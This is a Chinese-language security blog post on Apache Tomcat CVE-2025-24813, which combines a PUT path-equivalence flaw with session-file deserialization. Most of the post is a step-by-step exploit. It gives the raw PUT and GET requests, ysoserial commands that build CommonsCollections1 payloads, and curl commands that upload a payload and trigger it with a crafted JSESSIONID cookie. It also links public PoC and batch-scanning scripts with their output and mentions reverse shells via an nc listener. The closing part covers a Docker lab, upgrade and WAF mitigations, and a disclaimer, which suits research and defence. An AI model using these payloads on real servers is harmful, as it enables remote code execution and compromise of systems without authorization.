TomcatCVE-2025-24813远程代码执行漏洞

admin 2026-01-28 06:56:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入剖析TomcatCVE-2025-24813高危远程代码执行漏洞,详述其利用PUT请求、路径等价及会话反序列化机制达成RCE的过程。受影响版本涵盖Tomcat9至11特定分支,利用需特定配置与反序列化Gadget。文章提供了完整复现步骤、POC工具及Docker验证环境,并给出紧急升级、禁用PUT方法、限制权限及部署WAF等多重防护建议。 综合评分: 91 文章分类: 漏洞分析,漏洞POC,渗透测试,WEB安全,漏洞预警


cover_image

Tomcat CVE-2025-24813远程代码执行漏洞

原创

simeon的文章 simeon的文章

小兵搞安全

2026年1月27日 16:05 北京

CVE-2025-24813 是 Apache Tomcat 中一个高危远程代码执行(RCE)漏洞,于 2025 年初被披露,并迅速在安全社区和地下论坛中传播。该漏洞利用了 Tomcat 在处理HTTP PUT 请求会话文件反序列化时的多个配置缺陷,结合路径等价性(Path Equivalence)问题,使攻击者能够上传恶意序列化对象并触发任意代码执行。

1.1漏洞简介

1.漏洞基本信息

  • CVE 编号:CVE-2025-24813
  • 漏洞类型:远程代码执行(RCE) + 不安全反序列化 + 路径等价绕过
  • CVSS 评分:部分来源称 5.5(中危),但多数认为实际风险为高危/严重(因可导致系统完全沦陷)
  • 披露时间:2025 年 3 月左右
  • 公开 PoC/Exploit:2025 年 5 月起广泛流传(GitHub、Yakit、博客等)

2.影响版本

| | | | — | — | | Tomcat 版本 | 受影响范围 | | Tomcat 9.x | 9.0.0.M1 ≤ version ≤ 9.0.98 | | Tomcat 10.x | 10.1.0-M1 ≤ version ≤ 10.1.34 | | Tomcat 11.x | 11.0.0-M1 ≤ version ≤ 11.0.2 |

修复建议:立即升级至官方已修复版本(如 Tomcat 9.0.99+、10.1.35+、11.0.3+)

3.漏洞原理详解

(1)路径等价性(Path Equivalence)问题

Tomcat 在处理 PUT 请求路径时,会将路径中的/自动转换为.。 例如:

PUT /evil/session → 实际写入文件名为 .evil.session

这使得攻击者可以绕过目录限制,将文件写入 Tomcat 的会话存储目录(默认为work/Catalina/localhost/ROOT/)。

(2)会话反序列化机制

当 Tomcat 配置了PersistentManager + FileStore时,会将会话对象以.session文件形式持久化到磁盘。 在用户请求携带JSESSIONID=.xxxxxCookie 时,Tomcat 会尝试加载xxxxx.session文件并进行Java 反序列化

(3)利用链触发 RCE

若目标应用依赖存在反序列化 gadget 的库(如commons-collections:3.2.1),攻击者可构造恶意序列化 payload(如使用 ysoserial 的CommonsCollections1链),上传后通过设置特定 Cookie 触发反序列化,从而执行任意命令(如弹计算器、执行 shell 命令等)。

1.2利用前提条件(必须同时满足)

1.DefaultServlet 启用写入 在 conf/web.xml 中配置:

  readonly

  false

2.支持 HTTP PUT 方法(Tomcat 默认支持)

3.启用文件会话持久化 在 conf/context.xml 中配置:

 

4.存在可利用的反序列化 gadget 如项目中包含 commons-collections-3.2.1.jar 等易受攻击的库。

1.3攻击流程(完整利用链)

1.探测目标是否支持 PUT 上传

PUT /test.txt HTTP/1.1

Host: target:8080

Content-Length: 4

test

若返回 200/201,则可能可写。

2.生成恶意序列化 payload 使用 ysoserial

java -jar ysoserial.jar CommonsCollections1 “calc.exe” > payload.session

3.上传 payload 到会话目录 利用路径等价绕过:

PUT /xxxxx/session HTTP/1.1

Host: target:8080

Content-Range: bytes 0-1000/1200

[恶意序列化数据]

实际写入:work/Catalina/localhost/ROOT/.xxxxx.session

4.触发反序列化 发送带 Cookie 的 GET 请求:

GET / HTTP/1.1

Host: target:8080

Cookie: JSESSIONID=.xxxxx

Tomcat 加载.xxxxx.session并反序列化 → 执行命令。

1.3已有利用工具

1.验证poc脚本(absholi7ly)

https://github.com/absholi7ly/POC-CVE-2025-24813

利用方法:

python CVE-2025-24813.py [options]

python3 CVE_2025_24813.py http://localhost:8080 –command “id” –payload_type java

存在漏洞:

[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8081/uploads/../sessions/absholi7ly.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8081 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser

不存在漏洞:

[+] Server is writable via PUT: http://localhost:8081/check.txt
[*] Session ID: absholi7ly
[+] Payload generated successfully: payload.ser
[-] Payload upload failed: http://localhost:8081/uploads/../sessions/absholi7ly.session (HTTP 403)
[-] Target http://localhost:8081 does not appear vulnerable or exploit failed.
[+] Temporary file removed: payload.ser

2.Apache Tomcat 远程代码执行漏洞批量检测脚本(iSee857)

https://github.com/iSee857/CVE-2025-24813-PoC

使用方式:

批量检测支持多线程:

python poc.py -l url.txt -t 5

单个检测:

python poc.py -u your-ip

参考:

https://github.com/charis3306/CVE-2025-24813

https://github.com/drcrypterdotru/Apache-GOExploiter

1.4漏洞还原

1.4.1拉取docker

docker pull imagestests/tomcat@sha256:e745cbda3cc7be4dcc29600f031fa736af1d01e14a64f9115f69926a6754f3c6

打标签tomcat-cve-test

docker tag imagestests/tomcat@sha256:e745cbda3cc7be4dcc29600f031fa736af1d01e14a64f9115f69926a6754f3c6 tomcat-cve-test

1.4.2.启动容器(暴露 8080 端口)

docker run -d –name tomcat-cve   -p 8080:8080   tomcat-cve-test

1.4.3.验证基础服务是否运行

curl http://localhost:8080

应返回 Tomcat 默认欢迎页面(含 “Apache Tomcat” 字样)。

1.4.4.检查是否满足 CVE-2025-24813 的利用前提

  1. 检查 web.xml 是否启用 PUT 写入(readonly=false)

进入容器查看配置:

docker exec -it tomcat-cve cat /usr/local/tomcat/conf/web.xml | grep -A5 -B5 readonly

若看到如下内容,则满足条件:

  readonly

  false

  1. 检查是否启用了 PersistentManager + FileStore

docker exec -it tomcat-cve cat /usr/local/tomcat/conf/context.xml

查找是否有类似配置:

 

  1. 检查是否存在反序列化 gadget(如 commons-collections)

docker exec -it tomcat-cve ls /usr/local/tomcat/lib/ | grep commons

若存在 commons-collections-*.jar(尤其是 3.x 版本),则具备利用链条件。

默认docker中没有commons-collections-3.2.1.jar文件,可以手动下载

 wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar

 cp commons-collections-3.2.1.jar /usr/local/tomcat/lib/

通过shell来查看:

docker exec -it tomcat-cve /bin/bash

1.4.5实际漏洞利用测试

1.生成恶意 session 文件

在本地使用 ysoserial 生成 payload(假设你有 Java 环境):

下载 ysoserial(如未安装)

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

生成反弹 shell 或执行命令的 payload(示例:执行 id 命令)

java -jar ysoserial-all.jar CommonsCollections1 ‘id’ > exploit.session

若目标无 CommonsCollections,可尝试其他 gadget(如 URLDNS 用于探测)。

2.上传 payload 到会话目录

利用路径等价性,上传到 .SESSIONID.session:

发送 PUT 请求(注意:路径末尾为 /session)

curl -X PUT http://localhost:8080/ABCDEF/session   –data-binary “@exploit.session”   -H “Content-Type: application/octet-stream”

实际写入路径为:work/Catalina/localhost/ROOT/.ABCDEF.session

3.触发反序列化

发送带 Cookie 的请求:

curl http://localhost:8080/ -H “Cookie: JSESSIONID=.ABCDEF”

4.观察效果

如果 payload 是 id,可在 Tomcat 容器日志 中看到输出:

docker logs tomcat-cve

应包含类似 uid=0(root) gid=0(root) 的信息。

如果是反弹 shell,需提前监听端口(如 nc -lvnp 4444),并在 payload 中指定 IP 和端口。

java -jar ysoserial-all.jar CommonsCollections1 ‘touch /tmp/CVE_SUCCESS’> exploit.session  curl -X PUT http://localhost:8080/.pwn.session –data-binary “@exploit.session”  docker  exec tomcat-cve ls -l /usr/local/tomcat/webapps/ROOT/.pwn.session

 docker  exec tomcat-cve ls /tmp/CVE_SUCCESS

https://github.com/iSee857/CVE-2025-24813-PoC 测试效果

https://github.com/charis3306/CVE-2025-24813

1.5、防护与缓解措施

1. 紧急措施

  • 立即升级 Tomcat 至安全版本。
  • 若无法升级,禁用 PUT 方法(通过web.xml移除 DefaultServlet 的 PUT 映射)。
  • 设置readonly=true(默认值,勿修改为 false)。
  • 移除不必要的第三方库(如 commons-collections)。

2. 纵深防御

  • 部署 WAF,拦截含.sessionJSESSIONID=.等异常特征的请求。
  • 限制 Tomcat 进程权限(非 root/system 运行)。
  • 监控work/目录下的异常.session文件创建。
  • 禁用会话持久化(除非业务必需)。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小兵搞安全 simeon的文章 simeon的文章《Tomcat CVE-2025-24813远程代码执行漏洞》

评论:0   参与:  0